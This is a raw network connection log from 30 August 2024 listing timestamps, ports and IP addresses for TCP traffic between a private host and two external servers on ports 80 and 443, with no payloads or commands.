Aug 30, 2024 06:17:06.749811888 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749825001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749825954 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749835014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749844074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749866009 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749866962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749877930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.749877930 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.749902964 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.752363920 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.752379894 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.752423048 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.752439022 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.752449989 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.752898932 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.752916098 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.752958059 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.752964020 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.752978086 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.753001928 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.753165960 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.753179073 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.753228903 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.753235102 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.753266096 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.753468037 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.753482103 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.753530025 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.753539085 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.753582954 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.753791094 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.753806114 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.753851891 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.753859997 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.753895044 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.753968954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.753978968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.753988028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.753995895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.754044056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.754045010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.754045010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.754096985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.754106045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.754143000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.754143000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.754148960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.754158974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.754199028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.754234076 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.754241943 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.754254103 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.754297018 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.754302025 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.754321098 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.754343987 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.754441977 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.754456043 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.754503012 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.754508972 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.754523993 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.754539967 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.754802942 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.754816055 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.754868031 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.754874945 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.754910946 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.791543961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.791584015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.791591883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.791630030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.791640997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.791650057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.791659117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.791672945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.791672945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.791691065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.791697979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.791699886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.791734934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.791913033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.791948080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.791958094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.791960955 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.791995049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792005062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792006969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792013884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792022943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792032957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792040110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792052031 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792078972 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792159081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792170048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792179108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792190075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792198896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792217970 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792217970 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792237043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792247057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792252064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792283058 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792285919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792295933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792304039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792351007 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792351007 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792385101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792395115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792404890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792413950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792423010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792434931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792444944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792633057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792679071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792690992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792700052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792718887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792727947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792735100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792737007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792745113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792771101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792771101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792857885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792867899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792876005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792907953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792939901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792949915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792958975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792984962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.792989969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.792999983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793004036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793028116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793042898 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793128014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793142080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793179035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793179035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793194056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793201923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793245077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793255091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793263912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793272018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793281078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793299913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793301105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793301105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793320894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793329000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793363094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793363094 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793371916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793380022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793476105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793476105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793520927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793529987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793540001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793548107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.793566942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793566942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.793606997 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.795550108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.795558929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.795563936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.795600891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.795627117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.795635939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.795644999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.795655012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.795680046 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.795680046 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.795700073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.795749903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797359943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797369003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797378063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797394037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797404051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797405958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797429085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797437906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797440052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797440052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797446966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797472000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797472000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797540903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797549009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797563076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797571898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797580004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797586918 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797589064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797604084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797615051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797616005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797616005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797624111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797650099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797650099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797658920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797661066 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797667980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797702074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797702074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797732115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797743082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797750950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797759056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797780991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797797918 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797895908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797904968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797914028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797951937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797951937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.797961950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797972918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797981977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.797991037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.798000097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.798000097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.798033953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.798058033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.799081087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799091101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799098969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799128056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.799128056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.799141884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799150944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799161911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799170017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.799177885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799184084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.799196005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.799217939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.799242020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799251080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799312115 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.799360991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799370050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799380064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799388885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799398899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799406052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.799408913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.799424887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.799460888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.832387924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832396984 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832401991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832410097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832420111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832428932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832439899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832463980 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.832536936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832551956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832567930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832578897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832588911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832597971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832608938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832617998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832627058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832636118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832638979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.832638979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.832638979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.832638979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.832638979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.832638979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.832644939 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832655907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832665920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832668066 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.832674026 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832684040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832691908 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.832693100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.832705021 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.832729101 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834477901 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834532976 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834542036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834551096 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834561110 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834572077 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834594011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834603071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834611893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834621906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834631920 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834644079 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834671974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834693909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834702969 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834711075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834719896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834728956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834736109 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834754944 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834779024 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834832907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834842920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834851027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834867001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834871054 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834876060 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834886074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834897041 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834913015 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834956884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834966898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834976912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834986925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.834994078 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.834995985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.835005999 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.835033894 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.835061073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.835071087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.835081100 CEST	80	49735	147.45.44.104	192.168.2.4
